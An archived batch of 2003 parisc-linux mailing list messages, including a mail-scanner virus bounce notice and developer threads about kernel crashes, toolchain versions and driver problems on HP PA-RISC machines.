X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: postmaster@elis.ugent.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] VIRUS IN YOUR MAIL TO ronsse
Date: Mon, 30 Jun 2003 12:24:13 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <200306301024.h5UAODK32173@trappist.elis.UGent.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622547 27352 80.91.229.3 (22 Nov 2014 02:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 04:24:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trappist.elis.UGent.be (trappist.elis.UGent.be [157.193.67.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D90A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jun 2003 04:24:25 -0600 (MDT)
Original-Received: (from root@localhost)
	by trappist.elis.UGent.be (8.11.6/8.11.6) id h5UAODK32173;
	Mon, 30 Jun 2003 12:24:13 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18773

                   V I R U S  A L E R T

  Our viruschecker found a VIRUS in your email to "ronsse".
           We stopped delivery of this email!

    Now it is on you to check your system for viruses           

  For further information about this viruschecker see:
               http://amavis.org/
        AMaViS - A Mail Virus Scanner, licenced GPL



For your reference, here are the headers from your email:

------------------------- BEGIN HEADERS -----------------------------
Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from dobit2.rug.ac.be (dobit2.ugent.be [157.193.42.8])
	by trappist.elis.UGent.be (8.11.6/8.11.6) with ESMTP id h5UAOAR31989
	for <ronsse@elis.rug.ac.be>; Mon, 30 Jun 2003 12:24:10 +0200
Received: from SYSADMIN (ventrade.sovintel.ru [213.33.219.174])
	by dobit2.rug.ac.be (8.12.8/8.12.8) with ESMTP id h5UAO0b9026989
	for <ronsse@elis.rug.ac.be>; Mon, 30 Jun 2003 12:24:01 +0200 (MEST)
Message-Id: <200306301024.h5UAO0b9026989@dobit2.rug.ac.be>
From: <parisc-linux@lists.parisc-linux.org>
To: <ronsse@elis.rug.ac.be>
Subject: Re: Movie
Date: Mon, 30 Jun 2003 14:23:20 +0400
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="CSmtpMsgPart123X456_000_0123C7B0"
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
-------------------------- END HEADERS ------------------------------



From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.21-pa0 problems with ifconfig?
Date: Mon, 30 Jun 2003 17:17:04 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <20030630151704.GA24413@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622547 27357 80.91.229.3 (22 Nov 2014 02:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 09:18:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5E4C4829
	for <parisc-linux@parisc-linux.org>; Mon, 30 Jun 2003 09:18:16 -0600 (MDT)
Original-Received: from fwd00.aul.t-online.de 
	by mailout04.sul.t-online.com with smtp 
	id 19X0Q2-00018w-05; Mon, 30 Jun 2003 17:18:14 +0200
Original-Received: from nikita.ath.cx (EZ+I+ZZ68ewkfyEUl4iaibuZdmKVUjkq-C1vZjWXAudBtj4jKqcbQx@[80.128.57.64]) by fmrl00.sul.t-online.com
	with esmtp id 19X0Pl-136jxY0; Mon, 30 Jun 2003 17:17:57 +0200
Original-Received: from nikita.ath.cx (localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) with ESMTP id h5UFHArV031368
	for <parisc-linux@parisc-linux.org>; Mon, 30 Jun 2003 17:17:11 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) id h5UFH48v004531
	for parisc-linux@parisc-linux.org; Mon, 30 Jun 2003 17:17:04 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Seen: false
X-ID: EZ+I+ZZ68ewkfyEUl4iaibuZdmKVUjkq-C1vZjWXAudBtj4jKqcbQx@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18774

hi, has anyone of you experience problems with 2.4.21-pa0 and the
ifconfig command?

it heavily dumps when i boot this kernel on my C200.

thanks in advance,

Alex


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Mon, 30 Jun 2003 10:36:01 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030630163601.GC14971@dsl2.external.hp.com>
References: <3ED70CF10000BCAA@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622547 27359 80.91.229.3 (22 Nov 2014 02:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 10:36:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 30AC24829; Mon, 30 Jun 2003 10:36:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3ED70CF10000BCAA@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18775

On Mon, Jun 30, 2003 at 04:58:01PM +0200, Joel Soete wrote:
> I don't understand why the 32bits kernel crashed with this patche:
> (gcc-3.3 and binutils-2.13.90)

uhm...perhaps the 64-bit swap is buggy for 32-bit mode?
I didn't test that. It's a different code path.

> the log of the boot sequence shows me that the kernel was launched twice:

probably not. It's probably the kernel crash path just dumping out
the dmesg buffer "again".

grant


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Mon, 30 Jun 2003 10:39:18 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20030630163918.GD14971@dsl2.external.hp.com>
References: <20030629213301.GA24957@dsl2.external.hp.com> <3ED70CF10000B8FE@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622548 27362 80.91.229.3 (22 Nov 2014 02:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:48 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 10:39:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EA0F94829; Mon, 30 Jun 2003 10:39:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3ED70CF10000B8FE@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18776

On Mon, Jun 30, 2003 at 12:19:49PM +0200, Joel Soete wrote:
> Hmm here no pb to build intermezzo (as a module) neither for 2.4.21-pa1 neither
> 2.4.22-pre2-pa1 (gcc-3.3 32bits at least). So I suspect that it is a pb with
> binutils (I still have to downgrade it to binutils-2.13.90.0.18-1.7_hppa.deb)

For the record, here are the toolchain versions I'm using:
grundler@ios:~$ ld -v
GNU ld version 2.14.90.0.1 20030505 Debian GNU/Linux
grundler@ios:~$ gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.2.3/specs
Configured with: ../src/configure -v
--enable-languages=c,c++,f77,objc,ada --prefix=/usr
--mandir=/usr/share/man --infodir=/usr/share/info
--with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared
--with-system-zlib --enable-nls --without-included-gettext
--enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.2.3
grundler@ios:~$ 


> which Dave fixed in upstream a time ago but (I don't know why) not yet
> included in debian dpkg.

Dave isn't responsible for the debian package...find the maintainer.

thanks,
grant


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel compilation for J5600
Date: Mon, 30 Jun 2003 10:50:53 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20030630165053.GF14971@dsl2.external.hp.com>
References: <1056953609.3effd509f3f5f@wiebel.dommel.com> <20030630063026.GC4714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622548 27363 80.91.229.3 (22 Nov 2014 02:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mark Mestdagh <Mark.Mestdagh@Icon-Europe.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 10:50:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 35E344829; Mon, 30 Jun 2003 10:50:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030630063026.GC4714@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18777

On Sun, Jun 29, 2003 at 11:30:26PM -0700, Randolph Chung wrote:
> Why can't you use the prebuilt kernels? kernel-image-2.4.20-32-smp
> supports SMP (and the corresponding 64-bit version too...)

just a reminder...64-bit SMP is not stable yet.
32-bit SMP seems to work fine.

And I park a few "custom" kernels on ftp.parisc-linux.org/kernels/
which include the .config files used to build the kernels.
You want to look at c3000 kernels.

grant


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-pa0 problems with ifconfig?
Date: Mon, 30 Jun 2003 10:55:50 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20030630165550.GG14971@dsl2.external.hp.com>
References: <20030630151704.GA24413@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622548 27370 80.91.229.3 (22 Nov 2014 02:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 10:55:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1BA0A4829; Mon, 30 Jun 2003 10:55:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030630151704.GA24413@nikita.ath.cx>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18778

On Mon, Jun 30, 2003 at 05:17:04PM +0200, Alexander Gabert wrote:
> hi, has anyone of you experience problems with 2.4.21-pa0 and the
> ifconfig command?

works for me (tm).

grundler@ios:~$ /sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:30:6E:03:79:9F  
          inet addr:192.168.0.20  Bcast:192.168.0.255
Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2566 errors:1 dropped:0 overruns:0 frame:0
          TX packets:1499 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:291959 (285.1 KiB)  TX bytes:523183 (510.9 KiB)
          Interrupt:128 Base address:0x6000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:560 (560.0 b)  TX bytes:560 (560.0 b)

grundler@ios:~$ uname -a
Linux ios 2.4.21-pa1 #5 Sun Jun 29 12:11:52 PDT 2003 parisc64 unknown unknown GNU/Linux

> it heavily dumps when i boot this kernel on my C200.

Can you send output?

grant


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-pa0 problems with ifconfig?
Date: Mon, 30 Jun 2003 11:52:01 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20030630175201.GJ14971@dsl2.external.hp.com>
References: <20030630151704.GA24413@nikita.ath.cx> <20030630165550.GG14971@dsl2.external.hp.com> <20030630171125.GA17892@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622549 27372 80.91.229.3 (22 Nov 2014 02:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 11:52:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BEF644829; Mon, 30 Jun 2003 11:52:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030630171125.GA17892@nikita.ath.cx>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18779

On Mon, Jun 30, 2003 at 07:11:25PM +0200, Alexander Gabert wrote:
> hi,
> 
> adam:/usr/src# uname -a
> Linux adam 2.4.18-32 #1 Sat Mar 30 18:26:22 MST 2002 parisc unknown
> adam:/usr/src# dmesg | grep tulip
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.

This is missing the phy reset polling patch.
expected result.
See ftp://ftp.parisc-linux.org/patches/diff.tulip_media-02

> on a 2.4.20-pa35 with tulip driver compiled in statically:
> adam:/usr/src/working02-gentoo/linux-2.4.20-pa35# grep TULIP .config
> CONFIG_TULIP=y

2.4.20-pa35 tulip definitely works on both hppa and hppa64 kernels.
I use both (c3000 and A500). Something else is wrong.

Perhaps you've suffered some data corruption in a dynamic
lib that ifconfig uses? or ifconfig binary itself?

> ...
> ifconfig (pid 2769): Illegal instruction (code 8)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>      PSW: 00000000000001000000000000001111 Not tainted
>      r00-03  00000000 10348cd0 102041a0 100addc1
>      r04-07  100ad800 10348968 10348968 00000000
>      r08-11  2f2c994c 2efdc610 00000000 00008914
>      r12-15  00000000 ffff7000 faf00560 0003022c
>      r16-19  0003022c 0003022c 0003022c 000000ff
>      r20-23  000000ef 100addc5 102efc1c 0bebc200
>      r24-27  100addc5 000000ef 10348968 1030e010
>      r28-31  e0000000 00000001 2efdcd00 102041a0
>      sr0-3   00000000 00000000 00000000 000023b5
>      sr4-7   00000000 00000000 00000000 00000000

sorry - even though this is the right output, it's incomplete.
I need the IOAQ.

thanks,
grant


From - Thu Nov 08 21:28:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] modprobe: Can't locate module char-major-60 (server hangs!)
Date: Mon, 30 Jun 2003 20:54:38 +0300 (EEST)
Lines: 35
Approved: news@gmane.org
Message-ID: <1056995678.3f00795e49bf5@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622549 27376 80.91.229.3 (22 Nov 2014 02:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 11:54:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 1A67F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jun 2003 11:54:39 -0600 (MDT)
Original-Received: (qmail 24059 invoked from network); 30 Jun 2003 17:54:38 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 30 Jun 2003 17:54:38 -0000
Original-Received: (qmail 13684 invoked by uid 33); 30 Jun 2003 17:54:38 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18780

Hi,

I have just installed my first Debian server  3.0r1 on HP PA-RISC K210
(palinux-2.4.20).
I made installatiion using console device /dev/ttyB0.

After reboot I got the message, and the system became frozen.

Jun 27 15:08:47 smsmail4 modprobe: modprobe: Can't locate module char-major-60
Jun 27 15:08:49 smsmail4 last message repeated 9 times
Jun 27 15:08:49 smsmail4 init: Id "T0" respawning too fast: disabled for 5
minut

Everything is working in single-user mode (/sbin/sulogin starts just fine from
/etc/inittab)

Getty for ttyB0 gives the same error.

bash-2.05a# /sbin/getty -L ttyB0 9600 vt100
modprobe: modprobe: Can't locate module char-major-60

I tried to change devices or even to comment getty out from /etc/inittab, but
the server still hangs.

I suspect something could be fixed in /etc/modules.conf

It's still unclear for me what is the meaning of message
modprobe: Can't locate module char-major-60
from OS point of view.

Many thanks in advance for your help!

BR,
Dub


From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modprobe: Can't locate module char-major-60 (server hangs!)
Date: Mon, 30 Jun 2003 18:58:11 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20030630175811.GK31618@parcelfarce.linux.theplanet.co.uk>
References: <1056995678.3f00795e49bf5@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622549 27382 80.91.229.3 (22 Nov 2014 02:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dub <dub@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 30 11:58:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20A934829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jun 2003 11:58:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19X2up-0003L8-LG; Mon, 30 Jun 2003 18:58:11 +0100
Content-Disposition: inline
In-Reply-To: <1056995678.3f00795e49bf5@clients.latnet.lv>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18781

